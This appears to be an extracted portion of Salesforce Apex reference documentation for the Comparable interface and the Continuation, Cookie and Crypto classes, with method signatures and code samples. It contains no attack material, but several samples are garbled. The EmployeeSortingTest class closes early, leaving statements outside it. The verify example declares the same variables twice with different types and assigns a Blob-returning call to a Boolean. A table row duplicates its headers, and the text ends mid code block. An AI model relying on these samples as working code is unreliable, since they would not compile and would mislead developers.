This is an example implementation of the Comparable interface. The compareTo method in this example compares the employee of this class instance with the employee passed in the argument. The method returns an Integer value based on the comparison of the employee IDs.

global class Employee implements Comparable {
    public Long id;
    public String name;
    public String phone;

    // Constructor
    public Employee(Long i, String n, String p) {
        id = i;
        name = n;
        phone = p;
    }

    // Implement the compareTo() method
    global Integer compareTo(Object compareTo) {
        Employee compareToEmp = (Employee)compareTo;
        if (id == compareToEmp.id) return 0;
        if (id > compareToEmp.id) return 1;
        return -1;
    }
}

This example tests the sort order of a list of Employee objects.

@isTest
private class EmployeeSortingTest {
    static testmethod void test1() {
        List<Employee> empList = new List<Employee>();
        empList.add(new Employee(101,'Joe Smith', '4155551212'));
        empList.add(new Employee(101,'J. Smith', '4155551212'));
    }
}
empList.add(new Employee(25,'Caragh Smith', '4155551000'));
empList.add(new Employee(105,'Mario Ruiz', '4155551099'));

// Sort using the custom compareTo() method
empList.sort();

// Write list contents to the debug log
System.debug(empList);

// Verify list sort order.
System.assertEquals('Caragh Smith', empList[0].Name);
System.assertEquals('Joe Smith', empList[1].Name);
System.assertEquals('J. Smith', empList[2].Name);
System.assertEquals('Mario Ruiz', empList[3].Name);

Continuation Class

Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.

Namespace

System

Example

For a code example, see Make Long-Running Callouts from a Visualforce Page.

IN THIS SECTION:

Continuation Constructors
Continuation Properties
Continuation Methods

Continuation Constructors

The following are constructors for Continuation.

IN THIS SECTION:

Continuation(timeout)

Continuation(timeout)

Creates an instance of the Continuation class by using the specified timeout in seconds. The timeout maximum is 120 seconds.

Continuation (timeout)

Creates an instance of the Continuation class by using the specified timeout in seconds. The timeout maximum is 120 seconds.
Signature

```java
public Continuation(Integer timeout)
```

Parameters

timeout

Type: `Integer`
The timeout for this continuation in seconds.

**Continuation Properties**
The following are properties for `Continuation`.

**IN THIS SECTION:**

- `continuationMethod`
The name of the callback method that is called after the callout response returns.
- `timeout`
The timeout of the continuation in seconds. Maximum: 120 seconds.
- `state`
  Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.

**continuationMethod**
The name of the callback method that is called after the callout response returns.

Signature

```java
public String continuationMethod {get; set;}
```

Property Value

Type: `String`

Usage

**Note:** If the `continuationMethod` property is not set for a `Continuation`, the same action method that made the asynchronous callout is called again when the callout response returns.

**timeout**
The timeout of the continuation in seconds. Maximum: 120 seconds.

Signature

```java
public Integer timeout {get; set;}
```
Property Value
Type: Integer

**state**
Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.

Signature
```
public Object state {get; set;}
```

Property Value
Type: Object

Example
This example shows how to save state information for a continuation in a controller.

```java
// Declare inner class to hold state info
private class StateInfo {
    String msg { get; set; }
    List<String> urls { get; set; }
    StateInfo(String msg, List<String> urls) {
        this.msg = msg;
        this.urls = urls;
    }
}

// Then in the action method, set state for the continuation
continuationInstance.state = new StateInfo('Some state data', urls);
```

Continuation Methods
The following are methods for Continuation.

IN THIS SECTION:

- addHttpRequest(request)
  Adds the HTTP request for the callout that is associated with this continuation.

- getRequests()
  Returns all labels and requests that are associated with this continuation as key-value pairs.

- getResponse(requestLabel)
  Returns the response for the request that corresponds to the specified label.

**addHttpRequest(request)**
Adds the HTTP request for the callout that is associated with this continuation.
**addHttpRequest**

**Signature**

```java
public String addHttpRequest(System.HttpRequest request)
```

**Parameters**

- `request`  
  Type: `HttpRequest`  
  The HTTP request to be sent to the external service by this continuation.

**Return Value**

Type: `String`  
A unique label that identifies the HTTP request that is associated with this continuation. This label is used in the map that `getRequests()` returns to identify individual requests in a continuation.

**Usage**

You can add up to three requests to a continuation.

**Note:** The timeout that is set in each passed-in request is ignored. Only the global timeout maximum of 120 seconds applies for a continuation.

**getRequests()**

Returns all labels and requests that are associated with this continuation as key-value pairs.

**Signature**

```java
public Map<String, System.HttpRequest> getRequests()
```

**Return Value**

Type: `Map<String, HttpRequest>`  
A map of all requests that are associated with this continuation. The map key is the request label, and the map value is the corresponding HTTP request.

**getResponse(requestLabel)**

Returns the response for the request that corresponds to the specified label.

**Signature**

```java
public static HttpResponse getResponse(String requestLabel)
```

**Parameters**

- `requestLabel`  
  Type: `String`  
  The request label to get the response for.
Return Value
Type: HttpResponse

Usage
The status code is returned in the HttpResponse object and can be obtained by calling getStatusCode() on the response. A status code of 200 indicates that the request was successful. Other status code values indicate the type of problem that was encountered.

Sample of Error Status Codes
When a problem occurs with the response, some possible status code values are:

- 2000: The timeout was reached, and the server didn’t get a chance to respond.
- 2001: There was a connection failure.
- 2002: Exceptions occurred.
- 2003: The response hasn’t arrived (which also means that the Apex asynchronous callout framework hasn’t resumed).
- 2004: The response size is too large (greater than 1 MB).

Cookie Class
The Cookie class lets you access cookies for your Salesforce site using Apex.

Namespace
System

Usage
Use the setCookies method of the PageReference Class to attach cookies to a page.

Important:
- Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
- The setCookies method adds the prefix “apex__” to the cookie names.
- Setting a cookie’s value to null sends a cookie with an empty string value instead of setting an expired attribute.
- After you create a cookie, the properties of the cookie can’t be changed.
- Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Cache Salesforce Sites Pages” in the Salesforce Help.

Consider the following limitations when using the Cookie class:
- The Cookie class can only be accessed using Apex that is saved using the Salesforce API version 19 and above.
- The maximum number of cookies that can be set per Salesforce Sites domain depends on your browser. Newer browsers have higher limits than older ones.
- Cookies must be less than 4K, including name and attributes.
- The maximum header size of a Visualforce page, including cookies, is 8,192 bytes.

For more information on sites, see “Salesforce Sites” in the Salesforce online help.
Example
The following example creates a class, CookieController, which is used with a Visualforce page (see markup below) to update a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.

```apex
// A Visualforce controller class that creates a cookie
// used to keep track of how often a user displays a page
public class CookieController {

  public CookieController() {
    Cookie counter = ApexPages.currentPage().getCookies().get('counter');

    // If this is the first time the user is accessing the page,
    // create a new cookie with name 'counter', an initial value of '1',
    // path 'null', maxAge '-1', and isSecure 'true'.
    if (counter == null) {
      counter = new Cookie('counter','1',null,-1,true);
    } else {
      // If this isn't the first time the user is accessing the page
      // create a new cookie, incrementing the value of the original count by 1
      Integer count = Integer.valueOf(counter.getValue());
      counter = new Cookie('counter', String.valueOf(count+1),null,-1,true);
    }

    // Set the new cookie for the page
    ApexPages.currentPage().setCookies(new Cookie[]{counter});
  }

  // This method is used by the Visualforce action {!count} to display the current
  // value of the number of times a user had displayed a page.
  // This value is stored in the cookie.
  public String getCount() {
    Cookie counter = ApexPages.currentPage().getCookies().get('counter');
    if(counter == null) {
      return '0';
    }
    return counter.getValue();
  }
}

// Test class for the Visualforce controller
@isTest
private class CookieControllerTest {
  // Test method for verifying the positive test case
  static testMethod void testCounter() {

    //first page view
    CookieController controller = new CookieController();
    System.assert(controller.getCount() == '1');

    //second page view
    controller = new CookieController();
    System.assert(controller.getCount() == '2');
  }
}
```
The following is the Visualforce page that uses the CookieController Apex controller above. The action {!count} calls the getCount method in the controller above.

```apex
<apex:page controller="CookieController">
You have seen this page {!count} times
</apex:page>
```

IN THIS SECTION:
Cookie Constructors
Cookie Methods

Cookie Constructors
The following are constructors for Cookie.

IN THIS SECTION:
Cookie(name, value, path, maxAge, isSecure)
Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.

Cookie(name, value, path, maxAge, isSecure, SameSite)
Creates a new instance of the Cookie class using the specified name, value, path, and age, and settings for security and cross-domain behavior.

**Cookie(name, value, path, maxAge, isSecure)**
Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.

Signature

```java
public Cookie(String name, String value, String path, Integer maxAge, Boolean isSecure)
```

Parameters

- **name**
  Type: String
  The cookie name. It can't be `null`.

- **value**
  Type: String
  The cookie data, such as session ID.

- **path**
  Type: String
  The path from where you can retrieve the cookie.

- **maxAge**
  Type: Integer
  A number representing how long a cookie is valid for in seconds. If set to less than zero, a session cookie is issued. If set to zero, the cookie is deleted.
isSecure
Type: Boolean
A value indicating whether the cookie can only be accessed through HTTPS (true) or not (false).

**Cookie(name, value, path, maxAge, isSecure, SameSite)**

Creates a new instance of the `Cookie` class using the specified name, value, path, and age, and settings for security and cross-domain behavior.

⚠️ **Note:** Google Chrome 80 introduces a new default cookie attribute setting of `SameSite`, which is set to `Lax`. Previously, the `SameSite` cookie attribute defaulted to the value of `None`. When `SameSite` is set to `None`, cookies must be tagged with the `isSecure` attribute indicating that they require an encrypted HTTPS connection.

Signature

```java
public Cookie(String name, String value, String path, Integer maxAge, Boolean isSecure, String SameSite)
```

Parameters

- **name**
  Type: String
  The cookie name. It can't be `null`.

- **value**
  Type: String
  The cookie data, such as session ID.

- **path**
  Type: String
  The path from where you can retrieve the cookie.

- **maxAge**
  Type: Integer
  A number representing how long a cookie is valid for in seconds. If set to less than zero, a session cookie is issued. If set to zero, the cookie is deleted.

- **isSecure**
  Type: Boolean
  A value indicating whether the cookie can only be accessed through HTTPS (true) or not (false).

- **SameSite**
  Type: String
The `SameSite` attribute on a cookie controls its cross-domain behavior. The valid values are `None`, `Lax`, and `Strict`. After the Chrome 80 release, a cookie with a `SameSite` value of `None` must also be marked secure by setting a value of `None; Secure`.

SEE ALSO:
- Salesforce Spring '20 Release Notes: Prepare for Google Chrome’s Changes in SameSite Cookie Behavior That Can Break Salesforce Integrations
- Chrome Platform Status: Reject insecure SameSite=None cookies

**Cookie Methods**

The following are methods for `Cookie`. All are instance methods.

IN THIS SECTION:
- `getDomain()`: Returns the name of the server making the request.
- `getMaxAge()`: Returns a number representing how long the cookie is valid for, in seconds. If set to `< 0`, a session cookie is issued. If set to `0`, the cookie is deleted.
- `getName()`: Returns the name of the cookie. Can’t be `null`.
- `getPath()`: Returns the path from which you can retrieve the cookie. If `null` or blank, the location is set to root, or `/`.
- `getSameSite()`: Returns the value for the `SameSite` attribute of the cookie.
- `getValue()`: Returns the data captured in the cookie, such as Session ID.
- `isSecure()`: Returns `true` if the cookie can only be accessed through HTTPS, otherwise returns `false`.

**getDomain()**

Returns the name of the server making the request.

Signature

```java
public String getDomain()
```

Return Value

Type: `String`
**getMaxAge()**
Returns a number representing how long the cookie is valid for, in seconds. If set to $< 0$, a session cookie is issued. If set to $0$, the cookie is deleted.

Signature
```java
public Integer getMaxAge()
```

Return Value
Type: Integer

**getName()**
Returns the name of the cookie. Can't be `null`.

Signature
```java
public String getName()
```

Return Value
Type: String

**getPath()**
Returns the path from which you can retrieve the cookie. If `null` or blank, the location is set to root, or "/".

Signature
```java
public String getPath()
```

Return Value
Type: String

**getSameSite()**
Returns the value for the `SameSite` attribute of the cookie.

Signature
```java
public String getSameSite()
```

Return Value
Type: String

SEE ALSO:
- `web.dev: SameSite Cookies Explained`
**getValue()**
Returns the data captured in the cookie, such as Session ID.

Signature
```
public String getValue()
```

Return Value
Type: String

**isSecure()**
Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.

Signature
```
public Boolean isSecure()
```

Return Value
Type: Boolean

**Crypto Class**
Provides methods for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information.

**Namespace**
```
System
```

**Usage**
The methods in the Crypto class can be used for securing content in Lightning Platform, or for integrating with external services such as Google or Amazon WebServices (AWS).

**Encrypt and Decrypt Exceptions**
The following exceptions can be thrown for these methods:
- decrypt
- encrypt
- decryptWithManagedIV
- encryptWithManagedIV

<table>
<thead>
<tr>
<th>Exception</th>
<th>Message</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>InvalidParameterValue</td>
<td>Unable to parse initialization vector from encrypted data.</td>
<td>Thrown if you're using managed initialization vectors, and the cipher text is less than 16 bytes.</td>
</tr>
<tr>
<td>Exception</td>
<td>Message</td>
<td>Description</td>

</tr>
</tbody>
</table>

**Crypto Methods**

The following are methods for Crypto. All methods are static.

**IN THIS SECTION:**

- `decrypt(algorithmName, privateKey, initializationVector, cipherText)`
  - Decrypts the Blob *cipherText* using the specified algorithm, private key, and initialization vector. Use this method to decrypt blobs encrypted using a third party application or the `encrypt` method.

- `decryptWithManagedIV(algorithmName, privateKey, IVAndCipherText)`
  - Decrypts the Blob *IVAndCipherText* using the specified algorithm and private key. Use this method to decrypt blobs encrypted using a third party application or the `encryptWithManagedIV` method.

- `encrypt(algorithmName, privateKey, initializationVector, clearText)`
  - Encrypts the Blob *clearText* using the specified algorithm, private key and initialization vector. Use this method when you want to specify your own initialization vector.

- `encryptWithManagedIV(algorithmName, privateKey, clearText)`
  - Encrypts the Blob *clearText* using the specified algorithm and private key. Use this method when you want Salesforce to generate the initialization vector for you.

- `generateAesKey(size)`
  - Generates an Advanced Encryption Standard (AES) key.
generateDigest(algorithmName, input)
Computes a secure, one-way hash digest based on the supplied input string and algorithm name.

generateMac(algorithmName, input, privateKey)
Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.

getRandomInteger()
Returns a random Integer.

getRandomLong()
Returns a random Long.

sign(algorithmName, input, privateKey)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.

signWithCertificate(algorithmName, input, certDevName)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.

signXML(algorithmName, node, idAttributeName, certDevName)
Envelops the signature into an XML document.

signXML(algorithmName, node, idAttributeName, certDevName, refChild)
Inserts the signature envelope before the specified child node.

verify(String algorithmName, Blob data, Blob signature, Blob publicKey)
Verifies the digital signature for the Blob \texttt{data} using the specified algorithm and the supplied public key. Use this method to verify a Blob signed by a digital signature created using a third-party application or the sign method.

verify(String algorithmName, Blob data, Blob signature, String certDevName)
Verifies the digital signature for the Blob \texttt{data} using the specified algorithm and the public key associated with the \texttt{certDevName}. Use this method to verify a Blob signed by a digital signature created using a third-party application or the sign method.

verifyHMac(String algorithmName, Blob input, Blob privateKey, Blob macToVerify)
Verifies the HMAC signature for Blob \texttt{data} using the specified algorithm, input data, privatekey, and the mac. Use this method to verify a Blob signed by a digital signature created using a third-party application or the sign method.

decrypt(algorithmName, privateKey, initializationVector, cipherText)
Decrypts the Blob \texttt{cipherText} using the specified algorithm, private key, and initialization vector. Use this method to decrypt blobs encrypted using a third party application or the encrypt method.

Signature

\texttt{public static Blob decrypt(String algorithmName, Blob privateKey, Blob initializationVector, Blob cipherText)}

Parameters

- \texttt{algorithmName}
  Type: \texttt{String}
- \texttt{privateKey}
  Type: \texttt{Blob}
- \texttt{initializationVector}
  Type: \texttt{Blob}
cipherText
Type: Blob

Return Value
Type: Blob

Usage
Valid values for algorithmName are:

- AES128
- AES192
- AES256

These algorithms are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS7 padding.

The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16 bytes, 24 bytes, or 32 bytes, respectively. You can use a third-party application or the generateAesKey method to generate this key for you.

The initialization vector must be 128 bits (16 bytes.)

Example

```
Blob exampleIv = Blob.valueOf('Example of IV123');
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encrypt('AES128', key, exampleIv, data);

Blob decrypted = Crypto.decrypt('AES128', key, exampleIv, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

decryptWithManagedIV(algorithmName, privateKey, IVAndCipherText)

Decrypts the Blob IVAndCipherText using the specified algorithm and private key. Use this method to decrypt blobs encrypted using a third party application or the encryptWithManagedIV method.

Signature

```
public static Blob decryptWithManagedIV(String algorithmName, Blob privateKey, Blob IVAndCipherText)
```

Parameters

algorithmName
Type: String

privateKey
Type: Blob

IVAndCipherText
Type: Blob
The first 128 bits (16 bytes) of IVAndCipherText must contain the initialization vector.

Return Value
Type: Blob

Usage
Valid values for algorithmName are:

- AES128
- AES192
- AES256

These algorithms are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS7 padding.

The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16 bytes, 24 bytes, or 32 bytes, respectively. You can use a third-party application or the generateAesKey method to generate this key for you.

Example

```java
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encryptWithManagedIV('AES128', key, data);

Blob decrypted = Crypto.decryptWithManagedIV('AES128', key, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

encrypt(algorithmName, privateKey, initializationVector, clearText)

Encrypts the Blob clearText using the specified algorithm, private key and initialization vector. Use this method when you want to specify your own initialization vector.

Signature

```java
public static Blob encrypt(String algorithmName, Blob privateKey, Blob initializationVector, Blob clearText)
```

Parameters

- algorithmName
  Type: String

- privateKey
  Type: Blob

- initializationVector
  Type: Blob

- clearText
  Type: Blob
Return Value

Type: Blob

Usage

The initialization vector must be 128 bits (16 bytes.) Use either a third-party application or the decrypt method to decrypt blobs encrypted using this method. Use the encryptWithManagedIV method if you want Salesforce to generate the initialization vector for you. It is stored as the first 128 bits (16 bytes) of the encrypted Blob.

Valid values for algorithmName are:

- AES128
- AES192
- AES256

These algorithms are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS7 padding.

The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16 bytes, 24 bytes, or 32 bytes, respectively. You can use a third-party application or the generateAesKey method to generate this key for you.

Example

```java
Blob exampleIv = Blob.valueOf('Example of IV123');
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encrypt('AES128', key, exampleIv, data);

Blob decrypted = Crypto.decrypt('AES128', key, exampleIv, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

encryptWithManagedIV(algorithmName, privateKey, clearText)

Encrypts the Blob clearText using the specified algorithm and private key. Use this method when you want Salesforce to generate the initialization vector for you.

Signature

```java
public static Blob encryptWithManagedIV(String algorithmName, Blob privateKey, Blob clearText)
```

Parameters

algorithmName
  Type: String
privateKey
  Type: Blob
clearText
  Type: Blob
Return Value
Type: Blob

Usage
The initialization vector is stored as the first 128 bits (16 bytes) of the encrypted Blob. Use either third-party applications or the `decryptWithManagedIV` method to decrypt blobs encrypted with this method. Use the `encrypt` method if you want to generate your own initialization vector.

Valid values for `algorithmName` are:
- AES128
- AES192
- AES256

These algorithms are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS7 padding.

The length of `privateKey` must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16 bytes, 24 bytes, or 32 bytes, respectively. You can use a third-party application or the `generateAesKey` method to generate this key for you.

Example

```java
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encryptWithManagedIV('AES128', key, data);

Blob decrypted = Crypto.decryptWithManagedIV('AES128', key, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

`generateAesKey(size)`
Generates an Advanced Encryption Standard (AES) key.

Signature

```java
public static Blob generateAesKey(Integer size)
```

Parameters

- `size`
  - Type: `Integer`
  - The key's size in bits. Valid values are:
    - 128
    - 192
    - 256

Return Value
Type: Blob
Example

```java
Blob key = Crypto.generateAesKey(128);
```

**generateDigest(algorithmName, input)**

Computes a secure, one-way hash digest based on the supplied input string and algorithm name.

**Signature**

```java
public static Blob generateDigest(String algorithmName, Blob input)
```

**Parameters**

- **algorithmName**
  
  Type: String

  Valid values for `algorithmName` are:
  
  - MD5
  - SHA1
  - SHA3-256
  - SHA3-384
  - SHA3-512
  - SHA-256
  - SHA-512

- **input**
  
  Type: Blob

**Return Value**

Type: Blob

Example

```java
Blob targetBlob = Blob.valueOf('ExampleMD5String');
Blob hash = Crypto.generateDigest('MD5', targetBlob);
```

**generateMac(algorithmName, input, privateKey)**

Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.

**Signature**

```java
public static Blob generateMac(String algorithmName, Blob input, Blob privateKey)
```

**Parameters**

- **algorithmName**
  
  Type: String
The valid values for `algorithmName` are:

- `hmacMD5`
- `hmacSHA1`
- `hmacSHA256`
- `hmacSHA512`

**input**
Type: `Blob`

**privateKey**
Type: `Blob`

The value of `privateKey` does not need to be in decoded form. The value cannot exceed 4 KB.

**Return Value**
Type: `Blob`

**Example**

```java
String salt = String.valueOf(Crypto.getRandomInteger());
String key = 'key';
Blob data = crypto.generateMac('HmacSHA256',
    Blob.valueOf(salt), Blob.valueOf(key));
```

**getRandomInteger()**
Returns a random Integer.

**Signature**

```java
public static Integer getRandomInteger()
```

**Return Value**
Type: `Integer`

**Example**

```java
Integer randomInt = Crypto.getRandomInteger();
```

**getRandomLong()**
Returns a random Long.

**Signature**

```java
public static Long getRandomLong()
```
Return Value
Type: Long

Example
Long randomLong = Crypto.getRandomLong();

sign(algorithmName, input, privateKey)

Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.

Signature
public static Blob sign(String algorithmName, Blob input, Blob privateKey)

Parameters
algorithmName
Type: String
The algorithm name. The valid values for algorithmName are RSA, RSA-SHA1, RSA-SHA256, RSA-SHA384, RSA-SHA512, ECDSA-SHA256, ECDSA-SHA384, and ECDSA-SHA512.

RSA-SHA1 is an RSA signature (with an asymmetric key pair) of an SHA1 hash.
RSA-SHA256 is an RSA signature of an SHA256 hash.
RSA-SHA384 is an RSA signature of an SHA384 hash.
RSA-SHA512 is an RSA signature of an SHA512 hash.
RSA is the same as RSA-SHA1.
ECDSA-SHA256 is an ECDSA signature of an SHA256 hash.
ECDSA-SHA384 is an ECDSA signature of an SHA384 hash.
ECDSA-SHA512 is an ECDSA signature of an SHA512 hash.

input
Type: Blob
The data to sign.

privateKey
Type: Blob
The value of privateKey must be decoded using the EncodingUtilBase64Decode method, and should be in RSA's PKCS #8 (1.2) Private-Key Information Syntax Standard form. The value cannot exceed 4 KB.

Return Value
Type: Blob
Example

The following snippet shows how to call the `sign` method.

```java
String algorithmName = 'RSA';
String key = '';
Blob privateKey = EncodingUtil.base64Decode(key);
Blob input = Blob.valueOf('12345qwerty');
Crypto.sign(algorithmName, input, privateKey);
```

`signWithCertificate(algorithmName, input, certDevName)`

Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.

Signature

```java
public static Blob signWithCertificate(String algorithmName, Blob input, String certDevName)
```

Parameters

- `algorithmName`
  - Type: `String`
  - The algorithm name. The valid values for `algorithmName` are RSA, RSA-SHA1, RSA-SHA256, RSA-SHA384, RSA-SHA512, ECDSA-SHA256, ECDSA-SHA384, and ECDSA-SHA512.
  - `RSA-SHA1` is an RSA signature (with an asymmetric key pair) of an SHA1 hash.
  - `RSA-SHA256` is an RSA signature of an SHA256 hash.
  - `RSA-SHA384` is an RSA signature of an SHA384 hash.
  - `RSA-SHA512` is an RSA signature of an SHA512 hash.
  - `RSA` is the same as `RSA-SHA1`.
  - `ECDSA-SHA256` is an ECDSA signature of an SHA256 hash.
  - `ECDSA-SHA384` is an ECDSA signature of an SHA384 hash.
  - `ECDSA-SHA512` is an ECDSA signature of an SHA512 hash.

- `input`
  - Type: `Blob`
  - The data to sign.

- `certDevName`
  - Type: `String`
  - The Unique Name for a certificate stored in the Salesforce org's Certificate and Key Management page to use for signing.

To access the Certificate and Key Management page from Setup, enter `Certificate and Key Management` in the Quick Find box, then select `Certificate and Key Management`.

Return Value

- Type: `Blob`
Example

The following snippet is an example of the method for signing the content referenced by `data`.

```java
Blob data = Blob.valueOf('12345qwerty');
System.Crypto.signWithCertificate('RSA-SHA512', data, 'signingCert');
```

**signXML(algorithmName, node, idAttributeName, certDevName)**

Envelops the signature into an XML document.

**Signature**

```java
public Void signXML(String algorithmName, Dom.XmlNode node, String idAttributeName, String certDevName)
```

**Parameters**

- `algorithmName`  
  Type: `String`  
  The RSA encryption algorithm name. Valid names are RSA, RSA-SHA1, RSA-SHA256, RSA-SHA384, RSA-SHA512, ECDSA-SHA256, ECDSA-SHA384, and ECDSA-SHA512.

  - `RSA-SHA1` is an RSA signature (with an asymmetric key pair) of an SHA1 hash.
  - `RSA-SHA256` is an RSA signature of an SHA256 hash.
  - `RSA-SHA384` is an RSA signature of an SHA384 hash.
  - `RSA-SHA512` is an RSA signature of an SHA512 hash.
  - `RSA` is the same as `RSA-SHA1`.
  - `ECDSA-SHA256` is an ECDSA signature of an SHA256 hash.
  - `ECDSA-SHA384` is an ECDSA signature of an SHA384 hash.
  - `ECDSA-SHA512` is an ECDSA signature of an SHA512 hash.

- `node`  
  Type: `Dom.XmlNode`  
  The XML node to sign and insert the signature into.

- `idAttributeName`  
  Type: `String`  
  The full name (including the namespace) of the attribute on the node (XmlNode) to use as the reference ID. If `null`, this method uses the `ID` attribute on the node. If there is no `ID` attribute, Salesforce generates a new ID and adds it to the node.

- `certDevName`  
  Type: `String`  
  The unique name for a certificate stored in the Salesforce org's Certificate and Key Management page to use for signing.

To access the Certificate and Key Management page from Setup, enter **Certificate and Key Management** in the Quick Find box, then select **Certificate and Key Management**.
Return Value
Type: void

Example
The following is an example declaration and initialization.

```java
doc.load(...);
System.Crypto.signXml('RSA-SHA512', doc.getRootElement(), null, 'signingCert');
return doc.toXmlString();
```

**signXML(algorithmName, node, idAttributeName, certDevName, refChild)**

Inserts the signature envelope before the specified child node.

**Signature**

```java
public static void signXml(String algorithmName, Dom.XmlNode node, String idAttributeName, String certDevName, Dom.XmlNode refChild)
```

**Parameters**

- **algorithmName**
  Type: String
  The RSA encryption algorithm name. Valid names are RSA, RSA-SHA1, RSA-SHA256, RSA-SHA384, RSA-SHA512, ECDSA-SHA256, ECDSA-SHA384, and ECDSA-SHA512.
  
  RSA-SHA1 is an RSA signature (with an asymmetric key pair) of an SHA1 hash.
  
  RSA-SHA256 is an RSA signature of an SHA256 hash.
  
  RSA-SHA384 is an RSA signature of an SHA384 hash.
  
  RSA-SHA512 is an RSA signature of an SHA512 hash.
  
  RSA is the same as RSA-SHA1.
  
  ECDSA-SHA256 is an ECDSA signature of an SHA256 hash.
  
  ECDSA-SHA384 is an ECDSA signature of an SHA384 hash.
  
  ECDSA-SHA512 is an ECDSA signature of an SHA512 hash.

- **node**
  Type: Dom.XmlNode
  The XML node to sign and insert the signature into.

- **idAttributeName**
  Type: String
  The full name (including the namespace) of the attribute on the node (XmlNode) to use as the reference ID. If null, this method uses the ID attribute on the node. If there is no ID attribute, Salesforce generates a new ID and adds it to the node.

- **certDevName**
  Type: String
  The unique name for a certificate stored in the Salesforce org’s Certificate and Key Management page to use for signing.
To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick Find box, then select Certificate and Key Management.

refChild

Dom.XmlNode

The XML node before which to insert the signature. If refChild is null, the signature is added at the end.

Return Value

Type: Void

verify(String algorithmName, Blob data, Blob signature, Blob publicKey)

Verifies the digital signature for the Blob data using the specified algorithm and the supplied public key. Use this method to verify a Blob signed by a digital signature created using a third-party application or the sign method.

Signature

public static Blob verify(String algorithmName, Blob data, Blob signature, Blob publicKey)

Parameters

algorithmName

Type: String

The algorithm name. The valid values for algorithmName are RSA, RSA-SHA1, RSA-SHA256, RSA-SHA384, RSA-SHA512, ECDSA-SHA256, ECDSA-SHA384, and ECDSA-SHA512.

RSA-SHA1 is an RSA signature (with an asymmetric key pair) of an SHA1 hash.

RSA-SHA256 is an RSA signature of an SHA256 hash.

RSA-SHA384 is an RSA signature of an SHA384 hash.

RSA-SHA512 is an RSA signature of an SHA512 hash.

RSA is the same as RSA-SHA1.

ECDSA-SHA256 is an ECDSA signature of an SHA256 hash.

ECDSA-SHA384 is an ECDSA signature of an SHA384 hash.

ECDSA-SHA512 is an ECDSA signature of an SHA512 hash.

data

Type: Blob

The data to sign.

signature

Type:

Blob

The RSA signature.

publicKey

Type: Blob

The value of publicKey must be decoded using the EncodingUtilbase64Decode method, and be in X.509 standard.
Return Value

Type: Blob

Example

```java
String algorithmName = 'RSA';
String privateKey = '';
String publicKey = '';
Blob privateKey = EncodingUtil.base64Decode(privateKey);
Blob publicKey = EncodingUtil.base64Decode(publicKey);
Blob input = Blob.valueOf('12345qwerty');
Blob signature = Crypto.sign(algorithmName, input, privateKey);
Boolean verified = Crypto.verify(algorithmName, input, signature, publicKey);
```

`verify(String algorithmName, Blob data, Blob signature, String certDevName)`

Verifies the digital signature for the Blob `data` using the specified algorithm and the public key associated with the `certDevName`. Use this method to verify a Blob signed by a digital signature created using a third-party application or the `sign` method.

Signature

```java
public static Blob verify(String algorithmName, Blob data, Blob signature, String certDevName)
```

Parameters

- `algorithmName`
  Type: String
  The algorithm name. The valid values for `algorithmName` are RSA, RSA-SHA1, RSA-SHA256, RSA-SHA384, RSA-SHA512, ECDSA-SHA256, ECDSA-SHA384, and ECDSA-SHA512.

  RSA-SHA1 is an RSA signature (with an asymmetric key pair) of an SHA1 hash.

  RSA-SHA256 is an RSA signature of an SHA256 hash.

  RSA-SHA384 is an RSA signature of an SHA384 hash.

  RSA-SHA512 is an RSA signature of an SHA512 hash.

  RSA is the same as RSA-SHA1.

  ECDSA-SHA256 is an ECDSA signature of an SHA256 hash.

  ECDSA-SHA384 is an ECDSA signature of an SHA384 hash.

  ECDSA-SHA512 is an ECDSA signature of an SHA512 hash.

- `data`
  Type: Blob
  The data to sign.

- `signature`
  Type: Blob
  The RSA signature.
certDevName
Type: String
The Unique Name for a certificate stored in the Salesforce organization’s Certificate and Key Management page to use for signing.
To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick Find box, then select Certificate and Key Management.

Return Value
Type: Blob

Example

```java
Blob data = Blob.valueOf('12345qwerty');
Blob signature = Crypto.signWithCertificate('RSA-SHA256', data, 'signingCert');
